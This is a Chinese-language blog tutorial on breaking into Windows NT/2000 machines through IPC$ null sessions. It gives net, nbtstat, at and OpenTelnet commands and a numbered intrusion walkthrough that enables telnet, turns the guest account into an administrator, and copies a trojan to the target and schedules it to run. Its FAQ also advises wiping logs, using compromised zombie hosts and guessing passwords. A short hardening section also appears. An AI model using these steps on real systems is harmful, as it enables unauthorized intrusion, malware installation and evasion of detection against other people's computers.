IPC$ 是黑客入侵的重要方式,笔者在这里给大家介绍一下它的用法,希望大家通过深入了解ipc$ ,并熟练掌握它的用法。本文适用于win NT/2000环境下,win98不在讨论之列,对于win Xp个别操作并不适用。
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
至于ipc$漏洞,其实它并不是一个真正意义上的漏洞,它是指微软自己安置的‘后门’:空会话(Null session)。
会话的建立 :
建立会话的过程大致如下:
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建立;
2)服务器产生一个随机的64位数(实现挑战)传送回客户;
3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结果返回到服务器(实现响应);
4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。
空会话是在没有信任的情况下与服务器建立的会话,对于一个空会话,LSA提供的令牌的SID(空会话的SID)是S-1-5-7,用户名是:ANONYMOUS LOGON(系统内置的帐号),该访问令牌包含下面伪装的组:Everyone 和 Network
以下是在空会话中能够使用的命令:
1. 建立一个空会话
命令:net use \\ip\ipc$ "" /user:""
注意:密码左右各一个空格,目标主机需要开放ipc$。
2. 查看远程主机的共享资源
命令:net view \\IP
解释:建立了空连接后,用来查看远程主机的共享资源。
3. 查看远程主机的当前时间
命令:net time \\IP
解释:用此命令可以得到一个远程主机的当前时间。
4. 得到远程主机的NetBIOS用户名列表
命令:nbtstat -A IP
解释:用此命令可以得到一个远程主机的NetBIOS用户名列表,返回结果如下:
注意:本地主机的NBT需要打开。
知识链接:
★ SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;
★ NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
对于ipc$端口的选择,这里以WINDOWS 2000 为例:
对于客户端:
1. 在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
2. 在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。
对于服务器端:
1. 如果允许NBT, UDP端口137, 138 ,TCP 端口139, 445将开放;
2. 如果禁止NBT,只有445端口开放。
在进行实际的ipc$连接时,往往会遇到系统提示连接失败。我把可以成功建立ipc$的条件列出,希望大家可以通过这些找到连接失败的原因:
★ 跟操作系统相关(NT/2000/XP可以建立ipc$连接,98/ME不能建立ipc$连接);
★ 目标主机必须要开启ipc$共享;
★ 本地主机必须要启动Lanmanworkstation服务(功能为提供网络链结和通讯);
★ 目标主机必须要启动Lanmanserver服务(ipc$依赖于此服务,它提供了 RPC 支持、文件、打印以及命名管道共享);
★ 目标主机必须要启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份;
★ 目标主机应该启动NBT(打开139端口);
★ 目标主机防火墙配置(如果屏蔽139和445端口也将导致连接失败);
★ 用户名或者密码错误;
★ 命令输入错误(特别要注意空格的输入,用户名和密码中不包含空格时两边的双引号可以省略,密码为空,直接输入两个引号"");
★ 建立好连接后目标主机重启,ipc$连接会自动断开。
当连接建立失败时,系统会返回一个错误号,此时可以通过错误号来分析连接失败的原因:
错误号5: 拒绝访问,权限不够;
错误号51: 无法找到网络路径(网络有问题);
错误号53: 找不到网络路径(ip地址错误;目标主机未开机;目标主机lanmanserver服务未启动;目标主机防火墙设置过滤端口);
错误号67: 找不到网络名(本地主机中lanmanworkstation服务未启动或者目标主机删除了ipc$);
错误号1219: 提供的凭据与已存在的凭据集冲突(已经建立了一个ipc$,可以删除再连);
错误号1326: 用户名或密码错误;
错误号1792: 试图登录,网络登录服务没有启动(目标主机中NetLogon服务未启动);
错误号2242: 该用户的密码已经过期。
有时候已经建立了ipc$连接,但是在复制文件的时候提示出错,原因可能有以下几个方面:
1)盲目复制:
复制根本就不存在的共享文件,复制前应使用net view \\IP命令查看目标主机的共享情况;
2)默认共享判断错误:
★ ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,不是具体的文件夹,而默认共享并不是ipc$共享的必要条件;
★ net view \\IP 无法显示默认共享(因为默认共享带$),我们无法通过这个命令判断对方是否开启了默认共享。
3)用户权限不够:
★ 空连接向所有共享(默认共享和普通共享)复制时,大多情况下权限是不够的;
★ 向默认共享复制时,要具有管理员权限;
★ 向普通共享复制时,要具有相应权限(即目标主机预设的访问权限);
★ 目标主机通过防火墙或安全软件的设置,禁止外部访问共享;
4)被防火墙杀死或在局域网
需要在shell才能完成的命令:
★ 在远程主机上建立用户,激活用户,修改用户密码,加入管理组等操作;
★ 打开远程主机的ipc$共享,默认共享,普通共享的操作;
★ 运行/关闭远程主机的服务;
★ 启动/杀掉远程主机的进程。
IPC$入侵常用命令:
在利用IPC$漏洞入侵主机时常用到以下这些命令:
★ 建立空连接:
net use \\IP\ipc$ "" /user:""
★ 建立非空连接:
net use \\IP\ipc$ "password" /user:"username"
★ 查看远程主机的共享资源(但看不到默认共享)
net view \\IP
★ 查看本地主机的共享资源(可以看到本地的默认共享)
net share
★ 得到远程主机的用户名列表
nbtstat -A IP
★ 得到本地主机的用户列表
net user
★ 查看远程主机的当前时间
net time \\IP
★ 显示本地主机当前服务
net start
★ 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y
★ 映射远程共享:
net use z: \\IP\sihochina
此命令将共享名为sihochina的共享资源映射到z盘
★ 删除共享映射
net use z: /del /y 删除映射的z盘
net use * /del /y 删除全部
★ 向远程主机复制文件
copy \路径\*.exe \\IP\共享目录名,如:
copy sihochina.exe \\IP\c 将当前目录下的sihochina.exe复制到对方c盘内
★ 远程添加计划任务
at \\ip 时间 程序名,如:
at \\192.168.0.1 11:00 sihochina.exe 11:00在主机192.168.0.1上运行sihochina.exe
★ 开启远程主机的telnet
这里要用到opentelnet.exe(下载地址1:http://www.55xz.com/Software/Catalog102/3622.html
下载地址2:http://www.yi521.com/soft/2/54.html
),
目标主机还需满足以下条件:
1)目标主机开启了ipc$共享 ;
2)拥有目标主机的管理员帐号和密码 ;
3)目标主机开启了RemoteRegistry服务;
4)对WIN2K/XP有效。
命令格式:OpenTelnet.exe \\IP username password NTLM认证方式 port
如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90
★ 激活用户/加入管理员组
net uesr account /active:yes
net localgroup administrators username /add
★ 关闭远程主机的telnet
这里要用到ResumeTelnet.exe (下载地址:http://www.yi521.com/soft/2/54.html
)
命令格式:ResumeTelnet.exe \\IP username password
试例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""
★ 删除一个已建立的ipc$连接
net use \\IP\ipc$ /del
ipc$入侵步骤
1 ) 用扫描软件搜寻存在若口令的主机(假设administrator的密码为空);
2 )有两条路可以选择:给对方开telnet(命令行),给它传木马(图形界面),那我们就先走telnet这条路吧 ;
3 )要用到前面下载的opentelnet.exe;
c:\>OpenTelnet.exe \\192.168.0.1 administrator "" 1 90
如果返回如下信息:
*******************************************************
Remote Telnet Configure, by refdom
Email: sihochina@126.com OpenTelnet.exe
Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
*******************************************************
Connecting \\192.168.0.1 ...Successfully!
NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23
Starting telnet service...
telnet service is started successfully! telnet service is running!
BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
Disconnecting server...Successfully!
说明你已经打开了一个端口90的telnet。
4 )用 telnet 命令连接远程主机:
telnet 192.168.0.1 90
获得远程主机的一个shell;
5 )C:\>net user guest /active:yes
将Guest用户激活,可以用net user guest 查看帐户guest 的状态;
6 )C:\>net user guest 123456
将Guest的密码改为123456(当然也可以改成其他的密码);
7 )C:\>net localgroup administrators guest /add
将Guest 账户加入到 Administrator管理组中(提升权限)。通过安全策略的设置,可以禁止guest等帐户的远程访问。
8 )现在我们来走另一条路,给它传个木马;
9 )先建立ipc$连接:
C:\>net use \\192.168.0.1 \ipc$ "" /user:administrator
10 )查看目标主机的共享目录:
C:\>net view \\192.168.0.1
11 )复制木马客户端文件到目标主机:
C:\>copy sihochina.exe \\192.168.0.1\c
12 )查看目标主机当前的系统时间:
net time \\192.168.0.1
13 )用at 命令让木马客户端文件在指定时间运行,目标主机一定要开了Task Scheduler服务(允许程序在指定时间运行:
C:\>at \\192.168.0.1 19:00 c:\sihochina.exe
14 )一切OK,剩下的只能等了。
防范ipc$入侵:
1 )禁止空连接进行枚举(并不能阻止空连接的建立)
方法1:
打开注册表编辑器,主键 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 下RestrictAnonymous = DWORD的键值改为:1 (一个匿名用户可以连接到IPC$共享,但无法列举SAM帐号和共享等信息);
方法2:
在本地安全设置-本地策略-安全选项-在“对匿名连接的额外限制”中做相应设置 。
2 )禁止默认共享
★ 察看本地共享资源
运行-->cmd-->net share
★ 删除共享(重启后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete
…………………………
★ 停止server服务
net stop server /y (重启后server服务会重新开启)
★ 禁止自动打开默认共享(此操作并未关闭ipc$共享)
打开注册表编辑器:
如果操作系统是server版:
主键 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters 下AutoShareServer(DWORD)的键值改为:00000000。
如果操作系统是pro版:
主键 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters 下AutoShareWks(DWORD)的键值改为:00000000。
3 )关闭ipc$和默认共享依赖的服务:server服务
控制面板-->管理工具-->服务-->找到server服务-->属性-->常规-->启动类型-->选已禁用
4 )屏蔽139,445端口
★ 139端口可以通过禁止NBT来屏蔽
本地连接-->TCP/IT属性-->高级-->WINS-->选“禁用TCP/IT上的NETBIOS”一项
★ 445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完后重启计算机;
★ 设置防火墙进行端口过滤。
5 )设置复杂密码,防止通过ipc$穷举出密码。
ipc$入侵常见问题集锦:
1)进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?
答:留下记录是一定的,你走后用程序删除就可以了,或者用肉鸡入侵。
2)你看下面的情况是为什么,可以连接但不能复制
net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功
答:可能有两个原因:
★ 你的权限不够,不能访问默认共享;
★ 对方没有开启admin$默认共享,不要认为能进行ipc$连接,对方就一定开了默认共享(很多人都这么以为,误区!!),此时你可以试试别的默认共享或普通共享,比如c$,d$,c,d等,如果还是不行,就要看你的权限了,如果是管理员权限,你可以开telnet,如果能成功,在给它开共享也行。
3)如果对方开了IPC$,且能建立空联接,但打开C、D盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?
答:建议先用流光或者别的什么猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。
4)我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?
答:首先纠正你的一个错误,用net view是无法看到默认共享的。既然你现在有管理员权限,而且对方又开了ipc$,建议你用opentelnet.exe这个小程序打开它的telent,在获得了这个shell之后,做什么都可以了。
5)ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell之后,你才能在远程建立一个帐户,否则你的操作只是在本地进行。
6)我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?
答:不能copy文件有多个可能,除了权限不够外,还可能是对方c$,d$等默认管理共享没开,或者是对方为NTFS文件格式,通过设置,管理员也未必能远程写文件。既然你有管理员权限,那就开telnet上去吧,然后在开它的共享。
7)我用Win98能与对方建立ipc$连接吗?
答:不可以的,要进行ipc$的操作,建议用win2000。
8)我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这是为什么?
答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;或者你自己的NBT没有打开,netstat是建立在NBT之上的。
9)我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?
答:呵呵,这说明你与目标主机建立了一个以上的ipc$连接,这是不允许的,把其他的删掉吧:net use \\*.*.*.*\ipc$ /del
10)我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?
答:你也太粗心了吧,这说明你的h盘正在使用,映射到别的盘符吧!
11)我建立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。
答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。
12)我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?
答:你混淆了ipc$与139的关系,能进行ipc$连接的主机一定开了139或445端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭ipc$共享.
13)我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能复制东西,说错误5。请问为什么?
答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。
14)我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c 出现请键入 \\192.168.0.2 的密码,怎么回事情呢?
答:虽然你具有管理员权限,但管理员在设置c盘共享权限时可能并未设置允许administrator访问,所以会出现问题。
15)如果自己的机器禁止了ipc$, 是不是还可以用ipc连接别的机器?
答:可以的。
以上文章转自我的个人空间:http://hi.baidu.com/sihochina